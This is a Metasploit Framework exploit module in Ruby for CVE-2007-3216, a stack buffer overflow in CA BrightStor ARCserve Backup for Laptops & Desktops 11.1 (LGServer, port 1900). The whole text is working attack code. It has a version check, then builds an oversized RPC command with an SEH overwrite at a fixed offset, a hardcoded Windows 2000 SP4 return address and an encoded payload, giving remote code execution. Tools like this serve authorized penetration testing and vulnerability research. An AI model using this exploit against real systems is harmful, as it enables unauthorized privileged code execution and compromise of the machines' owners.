CA BrightStor ARCserve for Laptops & Desktops LGServer – Multiple Commands Buffer Overflows (Metasploit)
## # $Id: lgserver_multi.rb 10909 2010-11-04 23:59:56Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10909 $', 'References' => [ [ 'CVE', '2007-3216' ], [ 'OSVDB', '35329' ], [ 'BID', '24348' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ], ], 'DisclosureDate' => 'Jun 6 2007', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(1900) ], self.class) end def check connect sock.put("0000000019rxrGetServerVersion") ver = sock.get_once disconnect if ( ver =~ /11.1.742/ ) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect rpc_commands = [ "rxsAddNewUser", "rxsSetUserInfo", "rxsRenameUser", "rxsExportData", "rxcReadSaveSetProfile", "rxcInitSaveSetProfile", "rxcAddSaveSetNextAppList", "rxcAddSaveSetNextFilesPathList" ] rpc_command = rpc_commands[rand(rpc_commands.length)] data = rand_text_alpha_upper(62768) data[58468,8] = generate_seh_record(target.ret) data[58476,payload.encoded.length] = payload.encoded sploit = "0000062768" # Command Length Field sploit << rpc_command # RPC Command sploit << "~~" # Constant Argument Delimiter sploit << data print_status("Trying target #{target.name} with command '#{rpc_command}'...") sock.put(sploit) handler disconnect end end |